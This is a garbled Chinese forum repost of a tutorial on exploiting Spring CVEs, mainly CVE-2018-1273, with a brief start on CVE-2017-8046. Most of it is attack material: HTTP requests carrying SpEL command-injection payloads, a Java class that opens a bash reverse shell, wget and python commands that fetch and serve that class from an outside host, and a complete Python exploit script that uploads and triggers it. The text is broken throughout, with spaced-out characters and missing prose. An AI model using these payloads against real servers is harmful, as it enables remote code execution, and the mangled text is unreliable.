[18591] 2021-07-04_干货Spring系列CVE以及POC编写

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-07-04_干货Spring系列CVE以及POC编写   |   S p r i n g C V E P O C   1 1 c c a a b   H A C K   2 0 2 1 - 0 7 - 0 4 # P O C   , 1 # E X P   , 1 # J A V A   , 1 p y t h o n ( y i c u n y i y e ) 0 x 0 1   c v e - 2 0 1 8 - 1 2 7 3 1 . 1   访 p o s t / u s e r s ? p a g e = & s i z e = 5
d o c k e r 1 . 2   s h e l l P O S T   / u s e r s ? p a g e = & s i z e = 5   H T T P / 1 . 1 H o s t :   4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 4 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 2 1 O r i g i n :   h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 / / u s e r s U p g r a d e - I n s e c u r e - R e q u e s t s :   1 u s e r n a m e [ # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " t o u c h   r o o t / t e s t " ) ] = & p a s s w o r d = &
c l a s s E x p l o i t . j a v a j a v a v p s c l a s s w e b b p c l a s s v p s 2 2 2 2 b p p u b l i c   c l a s s   E x p l o i t {         p u b l i c   E x p l o i t ( ) {                 t r y {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " / b i n / b a s h   - c   $ @ | b a s h   0   e c h o   b a s h   - i   > & / d e v / t c p / I P / 2 2 2 2   0 > & 1 " ) ;                 } c a t c h ( E x c e p t i o n   e ) {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         }         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g v ) {                 E x p l o i t   e   =   n e w   E x p l o i t ( ) ;         } } j a v a c   E x p l o i t . j a v a p y t h o n 3   - m   h t t p . s e r v e r   8 0 8 0 P O S T   / u s e r s ? p a g e = & s i z e = 5   H T T P / 1 . 1 H o s t :   4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 4 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 4 9 O r i g i n :   h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 / / u s e r s U p g r a d e - I n s e c u r e - R e q u e s t s :   1 u s e r n a m e [ # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " w g e t   h t t p : / / 1 9 8 . 1 3 . 5 1 . 4 5 : 8 0 8 0 / E x p l o i t . c l a s s " n c   - l v v p   2 2 2 2
s h e l l 1 . 3   c v e - 2 0 1 8 - 1 2 7 3   p o c S p r i n g 使   M a p D a t a B i n d e r . j a v a P O S T   / u s e r s ? p a g e = & s i z e = 5   H T T P / 1 . 1 H o s t :   4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 4 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 1 8 O r i g i n :   h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 / / u s e r s U p g r a d e - I n s e c u r e - R e q u e s t s :   1 u s e r n a m e [ # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " j a v a   E x p l o i t " ) ] = & p a s s w o r d = & r e p e a t e d P a s s w o r d S p e l E x p r e s s i o n P a r s e r p r o p e r t y N a m e
      使 使 c l a s s E x p l o i t . j a v a j a v a v p s c l a s s w e b     E x p r e s s i o n   e x p r e s s i o n   =   P A R S E R . p a r s e E x p r e s s i o n ( p r o p e r t y N a m e ) ;     P r o p e r t y P a t h   l e a f P r o p e r t y   =   g e t P r o p e r t y P a t h ( p r o p e r t y N a m e ) . g e t L e a f P r o p e r t y ( ) ;     T y p e I n f o r m a t i o n < ? >   o w n i n g T y p e   =   l e a f P r o p e r t y . g e t O w n i n g T y p e ( ) ;     T y p e I n f o r m a t i o n < ? >   p r o p e r t y T y p e   =   o w n i n g T y p e . g e t P r o p e r t y ( l e a f P r o p e r t y . g e t S e g m e n t ( ) ) ;     p r o p e r t y T y p e   =   p r o p e r t y N a m e . e n d s W i t h ( " ] " )   ?   p r o p e r t y T y p e . g e t A c t u a l T y p e ( )   :   p r o p e r t y T y p e ;     i f   ( c o n v e r s i o n R e q u i r e d ( v a l u e ,   p r o p e r t y T y p e . g e t T y p e ( ) ) )   {         P r o p e r t y D e s c r i p t o r   d e s c r i p t o r   =   B e a n U t i l s                 . g e t P r o p e r t y D e s c r i p t o r ( o w n i n g T y p e . g e t T y p e ( ) ,   l e a f P r o p e r t y . g e t S e g m e n t ( ) ) ;         M e t h o d P a r a m e t e r   m e t h o d P a r a m e t e r   =   n e w   M e t h o d P a r a m e t e r ( d e s c r i p t o r . g e t R e a d M e t h o d ( ) ,   - 1 ) ;         T y p e D e s c r i p t o r   t y p e D e s c r i p t o r   =   T y p e D e s c r i p t o r . n e s t e d ( m e t h o d P a r a m e t e r ,   0 ) ;         v a l u e   =   c o n v e r s i o n S e r v i c e . c o n v e r t ( v a l u e ,   T y p e D e s c r i p t o r . f o r O b j e c t ( v a l u e ) ,   t y p e D e s c r i p t o r ) ;     }     e x p r e s s i o n . s e t V a l u e ( c o n t e x t ,   v a l u e ) ; P r o x y i n g H a n d l e r M e t h o d A r g u m e n t R e s o l v e r M a p D a t a B i n d e r M a p D a t a B i n d e r . b i n d ( ) d o B i n d s e t P r o p e r t y V a l u e   e x p r e s s i o n . s e t V a l u e ( c o n t e x t ,   v a l u e ) p u b l i c   c l a s s   E x p l o i t {         p u b l i c   E x p l o i t ( ) {                 t r y {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " / b i n / b a s h   - c   $ @ | b a s h   0   e c h o   b a s h   - i   > & / d e v / t c p / I P / 2 2 2 2   0 > & 1 " ) ;                 } c a t c h ( E x c e p t i o n   e ) {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         }         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g v ) {                 E x p l o i t   e   =   n e w   E x p l o i t ( ) ;         } } j a v a c   E x p l o i t . j a v a p y t h o n 3   - m   h t t p . s e r v e r   8 0 8 0
u r l v p s c l a s s h t t p : / / 1 9 8 . 1 3 . 5 1 . 4 5 : 8 0 8 0 / E x p l o i t . c l a s s

0 x 0 2   C V E - 2 0 1 7 - 8 0 4 6 2 . 1   访 w e b i m p o r t   p y f i g l e t i m p o r t   r e q u e s t s a s c i i _ b a n n e r   =   p y f i g l e t . f i g l e t _ f o r m a t ( " C V E - 2 0 1 8 - 1 2 7 3 " ) p r i n t ( a s c i i _ b a n n e r ) p r i n t ( " b l o g : h t t p s : / / w w w . c n b l o g s . c o m / y i c u n y i y e / " ) p r i n t ( " - "   *   5 0 ) p a y l o a d _ p o c   =   {         ' u s e r n a m e [ # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " t o u c h   r o o t / t e s t 1 1 1 " ) ] ' : ' '         ' p a s s w o r d ' : ' ' ,         ' r e p e a t e d P a s s w o r d ' : ' ' } u r l   =   i n p u t ( " a t t a c k   u r l : " ) p r i n t ( " - "   *   5 0 ) #   u r l   =   " h t t p : / / 4 9 . 2 3 5 . 5 4 . 1 3 5 : 2 4 8 1 4 / / u s e r s ? p a g e = & s i z e = 5 " t a r g e t   =   u r l +   " / u s e r s ? p a g e = & s i z e = 5 " t r y :         r e s   =   r e q u e s t s . p o s t ( t a r g e t , d a t a = p a y l o a d _ p o c )         i f ( r e s . s t a t u s _ c o d e   = =   5 0 0 ) :                 p r i n t ( " [ + ] % s   i s   v u l n e r a b l e "   %   u r l )                 p r i n t ( " - "   *   5 0 )                 c l a s s _ u r l   =   i n p u t ( " y o u r   e x p   c l a s s   u r l : " )                 c m d   =   " w g e t   " + c l a s s _ u r l                 p a y l o a d _ c l a s s   =   {                         ' u s e r n a m e [ # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " '   + c m d +   ' " ) ] ' :   ' '                         ' p a s s w o r d ' :   ' ' ,                         ' r e p e a t e d P a s s w o r d ' :   ' '                 }                 r e s _ u p l o a d   =   r e q u e s t s . p o s t ( t a r g e t , d a t a = p a y l o a d _ c l a s s )                 i f ( r e s _ u p l o a d . s t a t u s _ c o d e   = =   5 0 0 ) :                         p r i n t ( " [ + ] u p l o a d   s u c c e s s " )                         p r i n t ( " - "   *   5 0 )                         p r i n t ( " v p s 1 " )                         f l a g   =   i n p u t ( " 1 : " )                         p r i n t ( " - "   *   5 0 )                         f l a g   =   i n t ( f l a g )                         i f ( f l a g   = =   1 ) :                                 p a y l o a d _ s h e l l   =   {                                         ' u s e r n a m e [ # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t R u n t i m e ( ) . e x e c ( " j a v a   E x p l o i t " ) ] '                                         ' p a s s w o r d ' :   ' ' ,                                         ' r e p e a t e d P a s s w o r d ' :   ' '                                 }                                 r e s _ s h e l l   =   r e q u e s t s . p o s t ( t a r g e t , d a t a = p a y l o a d _ s h e l l )                                 i f ( r e s _ s h e l l . s t a t u s _ c o d e   = =   5 0 0 ) :                                         p r i n t ( " [ + ] " )                                 e l s e :                                         p r i n t ( " [ - ] " )                         e l s e :                                 e x i t ( 0 )                 e l s e :                         p r i n t ( " [ - ] u p l o a d   f a i l " )                         p r i n t ( " - "   *   5 0 )         e l s e :                 p r i n t ( " [ - ] % s   i s   n o t   v u l n e r a b l e "   %   u r l ) e x c e p t :         p r i n t ( " [ - ] % s   i s   n o t   v u l n e r a b l e "   %   u r l )
访 / p e r s o n s p o s t { " f i r s t N a m e " : " t e s t " , " l a s t N a m e " : " t e s t " }
i d 1 p e r s o n s 使 P A T C H   h t t p l a s t N a m e C o n t e n t - T y p e ' :   ' a p p l i c a t i o n / j s o n - p a t c h + j s o n
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则